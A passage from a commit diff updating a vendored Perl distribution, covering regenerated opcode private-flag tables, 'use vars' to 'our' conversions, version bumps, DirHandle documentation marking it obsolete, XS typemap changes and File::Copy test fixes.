 @{$bits{connect}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 @{$bits{const}}{6,4,3,2,1} = ('OPpCONST_BARE', 'OPpCONST_ENTERED', 'OPpCONST_STRICT', 'OPpCONST_SHORTCIRCUIT', 'OPpCONST_NOVER');
@@ -294,7 +295,7 @@
 $bits{dbmclose}{0} = $bf[0];
 @{$bits{dbmopen}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 $bits{defined}{0} = $bf[0];
-@{$bits{delete}}{6,0} = ('OPpSLICE', $bf[0]);
+@{$bits{delete}}{6,5,0} = ('OPpSLICE', 'OPpKVSLICE', $bf[0]);
 @{$bits{die}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 @{$bits{divide}}{1,0} = ($bf[1], $bf[1]);
 $bits{dofile}{0} = $bf[0];
@@ -438,6 +439,7 @@
 @{$bits{msgget}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 @{$bits{msgrcv}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 @{$bits{msgsnd}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
+@{$bits{multiconcat}}{6,5,3,0} = ('OPpMULTICONCAT_APPEND', 'OPpMULTICONCAT_FAKE', 'OPpMULTICONCAT_STRINGIFY', $bf[0]);
 @{$bits{multideref}}{5,4,0} = ('OPpMULTIDEREF_DELETE', 'OPpMULTIDEREF_EXISTS', $bf[0]);
 @{$bits{multiply}}{1,0} = ($bf[1], $bf[1]);
 @{$bits{nbit_and}}{1,0} = ($bf[1], $bf[1]);
@@ -457,6 +459,7 @@
 $bits{orassign}{0} = $bf[0];
 $bits{ord}{0} = $bf[0];
 @{$bits{pack}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
+$bits{padhv}{0} = 'OPpPADHV_ISKEYS';
 @{$bits{padrange}}{6,5,4,3,2,1,0} = ($bf[5], $bf[5], $bf[5], $bf[5], $bf[5], $bf[5], $bf[5]);
 @{$bits{padsv}}{5,4} = ($bf[8], $bf[8]);
 @{$bits{pipe_op}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
@@ -496,7 +499,7 @@
 $bits{rv2av}{0} = $bf[0];
 @{$bits{rv2cv}}{7,5,0} = ('OPpENTERSUB_NOPAREN', 'OPpMAY_RETURN_CONSTANT', $bf[0]);
 @{$bits{rv2gv}}{6,5,4,2,0} = ('OPpALLOW_FAKE', $bf[8], $bf[8], 'OPpDONT_INIT_GV', $bf[0]);
-$bits{rv2hv}{0} = $bf[0];
+$bits{rv2hv}{0} = 'OPpRV2HV_ISKEYS';
 @{$bits{rv2sv}}{5,4,0} = ($bf[8], $bf[8], $bf[0]);
 @{$bits{sassign}}{7,6,1,0} = ('OPpASSIGN_CV_TO_GV', 'OPpASSIGN_BACKWARDS', $bf[1], $bf[1]);
 @{$bits{sbit_and}}{1,0} = ($bf[1], $bf[1]);
@@ -535,7 +538,7 @@
 $bits{snetent}{0} = $bf[0];
 @{$bits{socket}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 @{$bits{sockpair}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
-@{$bits{sort}}{6,5,4,3,2,1,0} = ('OPpSORT_STABLE', 'OPpSORT_QSORT', 'OPpSORT_DESCEND', 'OPpSORT_INPLACE', 'OPpSORT_REVERSE', 'OPpSORT_INTEGER', 'OPpSORT_NUMERIC');
+@{$bits{sort}}{7,6,4,3,2,1,0} = ('OPpSORT_UNSTABLE', 'OPpSORT_STABLE', 'OPpSORT_DESCEND', 'OPpSORT_INPLACE', 'OPpSORT_REVERSE', 'OPpSORT_INTEGER', 'OPpSORT_NUMERIC');
 @{$bits{splice}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 @{$bits{split}}{4,3,2} = ('OPpSPLIT_ASSIGN', 'OPpSPLIT_LEX', 'OPpSPLIT_IMPLIM');
 @{$bits{sprintf}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
@@ -595,7 +598,9 @@
     OPpASSIGN_COMMON_RC1     =>  32,
     OPpASSIGN_COMMON_SCALAR  =>  64,
     OPpASSIGN_CV_TO_GV       => 128,
+    OPpASSIGN_TRUEBOOL       =>   4,
     OPpAVHVSWITCH_MASK       =>   3,
+    OPpCONCAT_NESTED         =>  64,
     OPpCONST_BARE            =>  64,
     OPpCONST_ENTERED         =>  16,
     OPpCONST_NOVER           =>   2,
@@ -629,8 +634,10 @@
     OPpFT_STACKING           =>   8,
     OPpHINT_STRICT_REFS      =>   2,
     OPpHUSH_VMSISH           =>  32,
+    OPpINDEX_BOOLNEG         =>  64,
     OPpITER_DEF              =>   8,
     OPpITER_REVERSED         =>   2,
+    OPpKVSLICE               =>  32,
     OPpLIST_GUESSED          =>  64,
     OPpLVALUE                => 128,
     OPpLVAL_DEFER            =>  64,
@@ -645,6 +652,9 @@
     OPpMAYBE_LVSUB           =>   8,
     OPpMAYBE_TRUEBOOL        =>  16,
     OPpMAY_RETURN_CONSTANT   =>  32,
+    OPpMULTICONCAT_APPEND    =>  64,
+    OPpMULTICONCAT_FAKE      =>  32,
+    OPpMULTICONCAT_STRINGIFY  =>   8,
     OPpMULTIDEREF_DELETE     =>  32,
     OPpMULTIDEREF_EXISTS     =>  16,
     OPpOFFBYONE              => 128,
@@ -653,6 +663,7 @@
     OPpOPEN_OUT_CRLF         => 128,
     OPpOPEN_OUT_RAW          =>  64,
     OPpOUR_INTRO             =>  64,
+    OPpPADHV_ISKEYS          =>   1,
     OPpPADRANGE_COUNTMASK    => 127,
     OPpPADRANGE_COUNTSHIFT   =>   7,
     OPpPAD_STATE             =>  64,
@@ -660,6 +671,7 @@
     OPpREFCOUNTED            =>  64,
     OPpREPEAT_DOLIST         =>  64,
     OPpREVERSE_INPLACE       =>   8,
+    OPpRV2HV_ISKEYS          =>   1,
     OPpSLICE                 =>  64,
     OPpSLICEWARNING          =>   4,
     OPpSORT_DESCEND          =>  16,
@@ -666,9 +678,9 @@
     OPpSORT_INPLACE          =>   8,
     OPpSORT_INTEGER          =>   2,
     OPpSORT_NUMERIC          =>   1,
-    OPpSORT_QSORT            =>  32,
     OPpSORT_REVERSE          =>   4,
     OPpSORT_STABLE           =>  64,
+    OPpSORT_UNSTABLE         => 128,
     OPpSPLIT_ASSIGN          =>  16,
     OPpSPLIT_IMPLIM          =>   4,
     OPpSPLIT_LEX             =>   8,
@@ -694,6 +706,8 @@
     OPpASSIGN_COMMON_RC1     => 'COM_RC1',
     OPpASSIGN_COMMON_SCALAR  => 'COM_SCALAR',
     OPpASSIGN_CV_TO_GV       => 'CV2GV',
+    OPpASSIGN_TRUEBOOL       => 'BOOL',
+    OPpCONCAT_NESTED         => 'NESTED',
     OPpCONST_BARE            => 'BARE',
     OPpCONST_ENTERED         => 'ENTERED',
     OPpCONST_NOVER           => 'NOVER',
@@ -726,8 +740,10 @@
     OPpFT_STACKING           => 'FTSTACKING',
     OPpHINT_STRICT_REFS      => 'STRICT',
     OPpHUSH_VMSISH           => 'HUSH',
+    OPpINDEX_BOOLNEG         => 'NEG',
     OPpITER_DEF              => 'DEF',
     OPpITER_REVERSED         => 'REVERSED',
+    OPpKVSLICE               => 'KVSLICE',
     OPpLIST_GUESSED          => 'GUESSED',
     OPpLVALUE                => 'LV',
     OPpLVAL_DEFER            => 'LVDEFER',
@@ -741,6 +757,9 @@
     OPpMAYBE_LVSUB           => 'LVSUB',
     OPpMAYBE_TRUEBOOL        => 'BOOL?',
     OPpMAY_RETURN_CONSTANT   => 'CONST',
+    OPpMULTICONCAT_APPEND    => 'APPEND',
+    OPpMULTICONCAT_FAKE      => 'FAKE',
+    OPpMULTICONCAT_STRINGIFY  => 'STRINGIFY',
     OPpMULTIDEREF_DELETE     => 'DELETE',
     OPpMULTIDEREF_EXISTS     => 'EXISTS',
     OPpOFFBYONE              => '+1',
@@ -749,11 +768,13 @@
     OPpOPEN_OUT_CRLF         => 'OUTCR',
     OPpOPEN_OUT_RAW          => 'OUTBIN',
     OPpOUR_INTRO             => 'OURINTR',
+    OPpPADHV_ISKEYS          => 'KEYS',
     OPpPAD_STATE             => 'STATE',
     OPpPV_IS_UTF8            => 'UTF',
     OPpREFCOUNTED            => 'REFC',
     OPpREPEAT_DOLIST         => 'DOLIST',
     OPpREVERSE_INPLACE       => 'INPLACE',
+    OPpRV2HV_ISKEYS          => 'KEYS',
     OPpSLICE                 => 'SLICE',
     OPpSLICEWARNING          => 'SLICEWARN',
     OPpSORT_DESCEND          => 'DESC',
@@ -760,9 +781,9 @@
     OPpSORT_INPLACE          => 'INPLACE',
     OPpSORT_INTEGER          => 'INT',
     OPpSORT_NUMERIC          => 'NUM',
-    OPpSORT_QSORT            => 'QSORT',
     OPpSORT_REVERSE          => 'REV',
     OPpSORT_STABLE           => 'STABLE',
+    OPpSORT_UNSTABLE         => 'UNSTABLE',
     OPpSPLIT_ASSIGN          => 'ASSIGN',
     OPpSPLIT_IMPLIM          => 'IMPLIM',
     OPpSPLIT_LEX             => 'LEX',
@@ -783,6 +804,7 @@
     OPpALLOW_FAKE            => [qw(rv2gv)],
     OPpASSIGN_BACKWARDS      => [qw(sassign)],
     OPpASSIGN_COMMON_AGG     => [qw(aassign)],
+    OPpCONCAT_NESTED         => [qw(concat)],
     OPpCONST_BARE            => [qw(const)],
     OPpCOREARGS_DEREF1       => [qw(coreargs)],
     OPpEARLY_CV              => [qw(gv)],
@@ -796,36 +818,42 @@
     OPpFT_AFTER_t            => [qw(ftatime ftbinary ftblk ftchr ftctime ftdir fteexec fteowned fteread ftewrite ftfile ftis ftlink ftmtime ftpipe ftrexec ftrowned ftrread ftrwrite ftsgid ftsize ftsock ftsuid ftsvtx fttext fttty ftzero)],
     OPpHINT_STRICT_REFS      => [qw(entersub multideref rv2av rv2cv rv2gv rv2hv rv2sv)],
     OPpHUSH_VMSISH           => [qw(dbstate nextstate)],
+    OPpINDEX_BOOLNEG         => [qw(index rindex)],
     OPpITER_DEF              => [qw(enteriter)],
     OPpITER_REVERSED         => [qw(enteriter iter)],
+    OPpKVSLICE               => [qw(delete)],
     OPpLIST_GUESSED          => [qw(list)],
     OPpLVALUE                => [qw(leave leaveloop)],
     OPpLVAL_DEFER            => [qw(aelem helem multideref)],
-    OPpLVAL_INTRO            => [qw(aelem aslice cond_expr delete enteriter entersub gvsv helem hslice list lvavref lvref lvrefslice multideref padav padhv padrange padsv pushmark refassign rv2av rv2gv rv2hv rv2sv split)],
+    OPpLVAL_INTRO            => [qw(aelem aslice cond_expr delete enteriter entersub gvsv helem hslice list lvavref lvref lvrefslice multiconcat multideref padav padhv padrange padsv pushmark refassign rv2av rv2gv rv2hv rv2sv split)],
     OPpLVREF_ELEM            => [qw(lvref refassign)],
-    OPpMAYBE_LVSUB           => [qw(aassign aelem akeys aslice av2arylen avhvswitch helem hslice keys kvaslice kvhslice multideref padav padhv pos rv2av rv2gv rv2hv substr vec)],
-    OPpMAYBE_TRUEBOOL        => [qw(padhv rv2hv)],
+    OPpMAYBE_LVSUB           => [qw(aassign aelem akeys aslice av2arylen avhvswitch helem hslice keys kvaslice kvhslice multideref padav padhv pos rv2av rv2gv rv2hv substr values vec)],
+    OPpMAYBE_TRUEBOOL        => [qw(padhv ref rv2hv)],
+    OPpMULTICONCAT_APPEND    => [qw(multiconcat)],
     OPpMULTIDEREF_DELETE     => [qw(multideref)],
     OPpOFFBYONE              => [qw(caller runcv wantarray)],
     OPpOPEN_IN_CRLF          => [qw(backtick open)],
     OPpOUR_INTRO             => [qw(enteriter gvsv rv2av rv2hv rv2sv split)],
+    OPpPADHV_ISKEYS          => [qw(padhv)],
     OPpPAD_STATE             => [qw(lvavref lvref padav padhv padsv pushmark refassign)],
     OPpPV_IS_UTF8            => [qw(dump goto last next redo)],
     OPpREFCOUNTED            => [qw(leave leaveeval leavesub leavesublv leavewrite)],
     OPpREPEAT_DOLIST         => [qw(repeat)],
     OPpREVERSE_INPLACE       => [qw(reverse)],
-    OPpSLICE                 => [qw(delete)],
+    OPpRV2HV_ISKEYS          => [qw(rv2hv)],
     OPpSLICEWARNING          => [qw(aslice hslice padav padhv rv2av rv2hv)],
     OPpSORT_DESCEND          => [qw(sort)],
     OPpSPLIT_ASSIGN          => [qw(split)],
     OPpSUBSTR_REPL_FIRST     => [qw(substr)],
-    OPpTARGET_MY             => [qw(abs add atan2 chdir chmod chomp chown chr chroot concat cos crypt divide exec exp flock getpgrp getppid getpriority hex i_add i_divide i_modulo i_multiply i_subtract index int kill left_shift length link log mkdir modulo multiply nbit_and nbit_or nbit_xor ncomplement oct ord pow push rand rename right_shift rindex rmdir schomp scomplement setpgrp setpriority sin sleep sqrt srand stringify subtract symlink system time unlink unshift utime wait waitpid)],
+    OPpTARGET_MY             => [qw(abs add atan2 chdir chmod chomp chown chr chroot concat cos crypt divide exec exp flock getpgrp getppid getpriority hex i_add i_divide i_modulo i_multiply i_subtract index int kill left_shift length link log mkdir modulo multiconcat multiply nbit_and nbit_or nbit_xor ncomplement oct ord pow push rand rename right_shift rindex rmdir schomp scomplement setpgrp setpriority sin sleep sqrt srand stringify subtract symlink system time unlink unshift utime wait waitpid)],
     OPpTRANS_COMPLEMENT      => [qw(trans transr)],
+    OPpTRUEBOOL              => [qw(grepwhile index length padav padhv pos ref rindex rv2av rv2hv subst)],
 );
 
 $ops_using{OPpASSIGN_COMMON_RC1} = $ops_using{OPpASSIGN_COMMON_AGG};
 $ops_using{OPpASSIGN_COMMON_SCALAR} = $ops_using{OPpASSIGN_COMMON_AGG};
 $ops_using{OPpASSIGN_CV_TO_GV} = $ops_using{OPpASSIGN_BACKWARDS};
+$ops_using{OPpASSIGN_TRUEBOOL} = $ops_using{OPpASSIGN_COMMON_AGG};
 $ops_using{OPpCONST_ENTERED} = $ops_using{OPpCONST_BARE};
 $ops_using{OPpCONST_NOVER} = $ops_using{OPpCONST_BARE};
 $ops_using{OPpCONST_SHORTCIRCUIT} = $ops_using{OPpCONST_BARE};
@@ -844,16 +872,19 @@
 $ops_using{OPpFT_STACKING} = $ops_using{OPpFT_AFTER_t};
 $ops_using{OPpLVREF_ITER} = $ops_using{OPpLVREF_ELEM};
 $ops_using{OPpMAY_RETURN_CONSTANT} = $ops_using{OPpENTERSUB_NOPAREN};
+$ops_using{OPpMULTICONCAT_FAKE} = $ops_using{OPpMULTICONCAT_APPEND};
+$ops_using{OPpMULTICONCAT_STRINGIFY} = $ops_using{OPpMULTICONCAT_APPEND};
 $ops_using{OPpMULTIDEREF_EXISTS} = $ops_using{OPpMULTIDEREF_DELETE};
 $ops_using{OPpOPEN_IN_RAW} = $ops_using{OPpOPEN_IN_CRLF};
 $ops_using{OPpOPEN_OUT_CRLF} = $ops_using{OPpOPEN_IN_CRLF};
 $ops_using{OPpOPEN_OUT_RAW} = $ops_using{OPpOPEN_IN_CRLF};
+$ops_using{OPpSLICE} = $ops_using{OPpKVSLICE};
 $ops_using{OPpSORT_INPLACE} = $ops_using{OPpSORT_DESCEND};
 $ops_using{OPpSORT_INTEGER} = $ops_using{OPpSORT_DESCEND};
 $ops_using{OPpSORT_NUMERIC} = $ops_using{OPpSORT_DESCEND};
-$ops_using{OPpSORT_QSORT} = $ops_using{OPpSORT_DESCEND};
 $ops_using{OPpSORT_REVERSE} = $ops_using{OPpSORT_DESCEND};
 $ops_using{OPpSORT_STABLE} = $ops_using{OPpSORT_DESCEND};
+$ops_using{OPpSORT_UNSTABLE} = $ops_using{OPpSORT_DESCEND};
 $ops_using{OPpSPLIT_IMPLIM} = $ops_using{OPpSPLIT_ASSIGN};
 $ops_using{OPpSPLIT_LEX} = $ops_using{OPpSPLIT_ASSIGN};
 $ops_using{OPpTRANS_DELETE} = $ops_using{OPpTRANS_COMPLEMENT};
@@ -862,6 +893,5 @@
 $ops_using{OPpTRANS_IDENTICAL} = $ops_using{OPpTRANS_COMPLEMENT};
 $ops_using{OPpTRANS_SQUASH} = $ops_using{OPpTRANS_COMPLEMENT};
 $ops_using{OPpTRANS_TO_UTF} = $ops_using{OPpTRANS_COMPLEMENT};
-$ops_using{OPpTRUEBOOL} = $ops_using{OPpMAYBE_TRUEBOOL};
 
 # ex: set ro:

Modified: vendor/perl/dist/lib/Benchmark.t
===================================================================
--- vendor/perl/dist/lib/Benchmark.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Benchmark.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 
 use warnings;
 use strict;
-use vars qw($foo $bar $baz $ballast);
+our ($foo, $bar, $baz, $ballast);
 use Test::More tests => 213;
 
 use Benchmark qw(:all);

Modified: vendor/perl/dist/lib/Config/Extensions.pm
===================================================================
--- vendor/perl/dist/lib/Config/Extensions.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Config/Extensions.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 package Config::Extensions;
 use strict;
-use vars qw(%Extensions $VERSION @ISA @EXPORT_OK);
+our (%Extensions, $VERSION, @ISA, @EXPORT_OK);
 use Config;
 require Exporter;
 
-$VERSION = '0.01';
+$VERSION = '0.02';
 @ISA = 'Exporter';
 @EXPORT_OK = '%Extensions';
 

Modified: vendor/perl/dist/lib/DirHandle.pm
===================================================================
--- vendor/perl/dist/lib/DirHandle.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/DirHandle.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,29 +1,40 @@
 package DirHandle;
 
-our $VERSION = '1.04';
+our $VERSION = '1.05';
 
 =head1 NAME 
 
-DirHandle - supply object methods for directory handles
+DirHandle - (obsolete) supply object methods for directory handles
 
 =head1 SYNOPSIS
 
+    # recommended approach since Perl 5.6: do not use DirHandle
+    if (opendir my $d, '.') {
+        while (readdir $d) { something($_); }
+        rewind $d;
+        while (readdir $d) { something_else($_); }
+    }
+
+    # how you would use this module if you were going to
     use DirHandle;
-    $d = DirHandle->new(".");
-    if (defined $d) {
+    if (my $d = DirHandle->new(".")) {
         while (defined($_ = $d->read)) { something($_); }
         $d->rewind;
         while (defined($_ = $d->read)) { something_else($_); }
-        undef $d;
     }
 
 =head1 DESCRIPTION
 
+B<There is no reason to use this module nowadays.>
+
 The C<DirHandle> method provide an alternative interface to the
 opendir(), closedir(), readdir(), and rewinddir() functions.
 
-The only objective benefit to using C<DirHandle> is that it avoids
-namespace pollution by creating globs to hold directory handles.
+Up to Perl 5.5, opendir() could not autovivify a directory handle from
+C<undef>, so using a lexical handle required using a function from L<Symbol>
+to create an anonymous glob, which took a separate step.
+C<DirHandle> encapsulates this, which allowed cleaner code than opendir().
+Since Perl 5.6, opendir() alone has been all you need for lexical handles.
 
 =cut
 

Modified: vendor/perl/dist/lib/ExtUtils/Embed.pm
===================================================================
--- vendor/perl/dist/lib/ExtUtils/Embed.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/ExtUtils/Embed.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,22 +3,19 @@
 use Config;
 require File::Spec;
 
-use vars qw(@ISA @EXPORT $VERSION
-	    @Extensions $Verbose $lib_ext
-	    $opt_o $opt_s 
-	    );
+our ( @Extensions, $opt_o, $opt_s );
 use strict;
 
 # This is not a dual-life module, so no need for development version numbers
-$VERSION = '1.34';
+our $VERSION = '1.35';
 
- at ISA = qw(Exporter);
- at EXPORT = qw(&xsinit &ldopts 
+our @ISA = qw(Exporter);
+our @EXPORT = qw(&xsinit &ldopts 
 	     &ccopts &ccflags &ccdlflags &perl_inc
 	     &xsi_header &xsi_protos &xsi_body);
 
-$Verbose = 0;
-$lib_ext = $Config{lib_ext} || '.a';
+our $Verbose = 0;
+our $lib_ext = $Config{lib_ext} || '.a';
 
 sub is_cmd { $0 eq '-e' }
 

Modified: vendor/perl/dist/lib/ExtUtils/XSSymSet.pm
===================================================================
--- vendor/perl/dist/lib/ExtUtils/XSSymSet.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/ExtUtils/XSSymSet.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,8 +2,7 @@
 
 use strict;
 use Config;
-use vars qw( $VERSION );
-$VERSION = '1.3';
+our $VERSION = '1.4';
 
 
 sub new { 

Modified: vendor/perl/dist/lib/ExtUtils/typemap
===================================================================
--- vendor/perl/dist/lib/ExtUtils/typemap	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/ExtUtils/typemap	2018-12-22 22:55:19 UTC (rev 12126)
@@ -398,8 +398,9 @@
         }
 T_STDIO
 	{
-	    GV *gv = newGVgen("$Package");
+	    GV *gv = (GV *)sv_newmortal();
 	    PerlIO *fp = PerlIO_importFILE($var,0);
+	    gv_init_pvn(gv, gv_stashpvs("$Package",1),"__ANONIO__",10,0);
 	    if ( fp && do_open(gv, "+<&", 3, FALSE, 0, 0, fp) ) {
 		SV *rv = newRV_inc((SV*)gv);
 		rv = sv_bless(rv, GvSTASH(gv));
@@ -411,7 +412,8 @@
 	}
 T_IN
 	{
-	    GV *gv = newGVgen("$Package");
+	    GV *gv = (GV *)sv_newmortal();
+	    gv_init_pvn(gv, gv_stashpvs("$Package",1),"__ANONIO__",10,0);
 	    if ( do_open(gv, "<&", 2, FALSE, 0, 0, $var) ) {
 		SV *rv = newRV_inc((SV*)gv);
 		rv = sv_bless(rv, GvSTASH(gv));
@@ -423,7 +425,8 @@
 	}
 T_INOUT
 	{
-	    GV *gv = newGVgen("$Package");
+	    GV *gv = (GV *)sv_newmortal();
+	    gv_init_pvn(gv, gv_stashpvs("$Package",1),"__ANONIO__",10,0);
 	    if ( do_open(gv, "+<&", 3, FALSE, 0, 0, $var) ) {
 		SV *rv = newRV_inc((SV*)gv);
 		rv = sv_bless(rv, GvSTASH(gv));
@@ -435,7 +438,8 @@
 	}
 T_OUT
 	{
-	    GV *gv = newGVgen("$Package");
+	    GV *gv = (GV *)sv_newmortal();
+	    gv_init_pvn(gv, gv_stashpvs("$Package",1),"__ANONIO__",10,0);
 	    if ( do_open(gv, "+>&", 3, FALSE, 0, 0, $var) ) {
 		SV *rv = newRV_inc((SV*)gv);
 		rv = sv_bless(rv, GvSTASH(gv));

Modified: vendor/perl/dist/lib/File/Copy.pm
===================================================================
--- vendor/perl/dist/lib/File/Copy.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/File/Copy.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,6 +16,8 @@
 # And then we need these games to avoid loading overload, as that will
 # confuse miniperl during the bootstrap of perl.
 my $Scalar_Util_loaded = eval q{ require Scalar::Util; require overload; 1 };
+# We want HiRes stat and utime if available
+BEGIN { eval q{ use Time::HiRes qw( stat utime ) } };
 our(@ISA, @EXPORT, @EXPORT_OK, $VERSION, $Too_Big, $Syscopy_is_copy);
 sub copy;
 sub syscopy;
@@ -22,7 +24,7 @@
 sub cp;
 sub mv;
 
-$VERSION = '2.32';
+$VERSION = '2.33';
 
 require Exporter;
 @ISA = qw(Exporter);

Modified: vendor/perl/dist/lib/File/Copy.t
===================================================================
--- vendor/perl/dist/lib/File/Copy.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/File/Copy.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,6 +24,11 @@
 use File::Copy qw(copy move cp);
 use Config;
 
+# If we have Time::HiRes, File::Copy loaded it for us.
+BEGIN {
+  eval { Time::HiRes->import(qw( stat utime )) };
+  note "Testing Time::HiRes::utime support" unless $@;
+}
 
 foreach my $code ("copy()", "copy('arg')", "copy('arg', 'arg', 'arg', 'arg')",
                   "move()", "move('arg')", "move('arg', 'arg', 'arg')"
@@ -66,12 +71,14 @@
   unlink "copy-$$" or die "unlink: $!";
 
   open(F, "<", "file-$$");
+  binmode F;
   copy(*F, "copy-$$");
-  open(R, "<", "copy-$$") or die "open copy-$$: $!"; $foo = <R>; close(R);
+  open(R, "<:raw", "copy-$$") or die "open copy-$$: $!"; $foo = <R>; close(R);
   is $foo, "ok\n", 'copy(*F, fn): same contents';
   unlink "copy-$$" or die "unlink: $!";
 
   open(F, "<", "file-$$");
+  binmode F;
   copy(\*F, "copy-$$");
   close(F) or die "close: $!";
   open(R, "<", "copy-$$") or die; $foo = <R>; close(R) or die "close: $!";
@@ -100,7 +107,7 @@
   ok -e "copy-$$",                '  target still there';
 
   # Doesn't really matter what time it is as long as its not now.
-  my $time = 1000000000;
+  my $time = 1000000000.12345;
   utime( $time, $time, "copy-$$" );
 
   # Recheck the mtime rather than rely on utime in case we're on a
@@ -345,6 +352,7 @@
             chmod $c_perm3 => $copy6 or die $!;
 
             open my $fh => "<", $src or die $!;
+            binmode $fh;
 
             copy ($src, $copy1);
             copy ($fh,  $copy2);
@@ -465,6 +473,8 @@
 
     open(my $IN, "-|") || exec $^X, '-e', 'print "Hello, world!\n"';
     open(my $OUT, "|-") || exec $^X, '-ne', 'exit(/Hello/ ? 55 : 0)';
+    binmode $IN;
+    binmode $OUT;
 
     ok(copy($IN, $OUT), "copy pipe to another");
     close($OUT);

Modified: vendor/perl/dist/lib/File/stat.pm
===================================================================
--- vendor/perl/dist/lib/File/stat.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/File/stat.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,9 +10,16 @@
 
 our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS);
 
-our $VERSION = '1.07';
+our $VERSION = '1.08';
 
-my @fields;
+our @fields;
+our ( $st_dev, $st_ino, $st_mode,
+    $st_nlink, $st_uid, $st_gid,
+    $st_rdev, $st_size,
+    $st_atime, $st_mtime, $st_ctime,
+    $st_blksize, $st_blocks
+);
+
 BEGIN { 
     use Exporter   ();
     @EXPORT      = qw(stat lstat);
@@ -25,7 +32,6 @@
     @EXPORT_OK   = ( @fields, "stat_cando" );
     %EXPORT_TAGS = ( FIELDS => [ @fields, @EXPORT ] );
 }
-use vars @fields;
 
 use Fcntl qw(S_IRUSR S_IWUSR S_IXUSR);
 

Modified: vendor/perl/dist/lib/Net/hostent.pm
===================================================================
--- vendor/perl/dist/lib/Net/hostent.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Net/hostent.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,8 +2,14 @@
 use strict;
 
 use 5.006_001;
-our $VERSION = '1.01';
-our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+our $VERSION = '1.02';
+our (@EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+our (
+      $h_name, @h_aliases,
+      $h_addrtype, $h_length,
+      @h_addr_list, $h_addr
+);
+ 
 BEGIN { 
     use Exporter   ();
     @EXPORT      = qw(gethostbyname gethostbyaddr gethost);
@@ -14,7 +20,6 @@
 		   );
     %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] );
 }
-use vars      @EXPORT_OK;
 
 # Class::Struct forbids use of @ISA
 sub import { goto &Exporter::import }

Modified: vendor/perl/dist/lib/Net/netent.pm
===================================================================
--- vendor/perl/dist/lib/Net/netent.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Net/netent.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,8 +2,13 @@
 use strict;
 
 use 5.006_001;
-our $VERSION = '1.00';
+our $VERSION = '1.01';
 our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+our (
+    $n_name, @n_aliases,
+    $n_addrtype, $n_net
+);
+ 
 BEGIN { 
     use Exporter   ();
     @EXPORT      = qw(getnetbyname getnetbyaddr getnet);
@@ -13,7 +18,6 @@
 		   );
     %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] );
 }
-use vars      @EXPORT_OK;
 
 # Class::Struct forbids use of @ISA
 sub import { goto &Exporter::import }

Modified: vendor/perl/dist/lib/Net/protoent.pm
===================================================================
--- vendor/perl/dist/lib/Net/protoent.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Net/protoent.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,8 +2,9 @@
 use strict;
 
 use 5.006_001;
-our $VERSION = '1.00';
+our $VERSION = '1.01';
 our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+our ( $p_name, @p_aliases, $p_proto );
 BEGIN { 
     use Exporter   ();
     @EXPORT      = qw(getprotobyname getprotobynumber getprotoent getproto);
@@ -10,7 +11,6 @@
     @EXPORT_OK   = qw( $p_name @p_aliases $p_proto );
     %EXPORT_TAGS = ( FIELDS => [ @EXPORT_OK, @EXPORT ] );
 }
-use vars      @EXPORT_OK;
 
 # Class::Struct forbids use of @ISA
 sub import { goto &Exporter::import }

Modified: vendor/perl/dist/lib/Net/servent.pm
===================================================================
--- vendor/perl/dist/lib/Net/servent.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/Net/servent.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,8 +2,9 @@
 use strict;
 
 use 5.006_001;
-our $VERSION = '1.01';
+our $VERSION = '1.02';
 our(@EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+our ( $s_name, @s_aliases, $s_port, $s_proto );
 BEGIN {
     use Exporter   ();
     @EXPORT      = qw(getservbyname getservbyport getservent getserv);
@@ -10,7 +11,6 @@
     @EXPORT_OK   = qw( $s_name @s_aliases $s_port $s_proto );
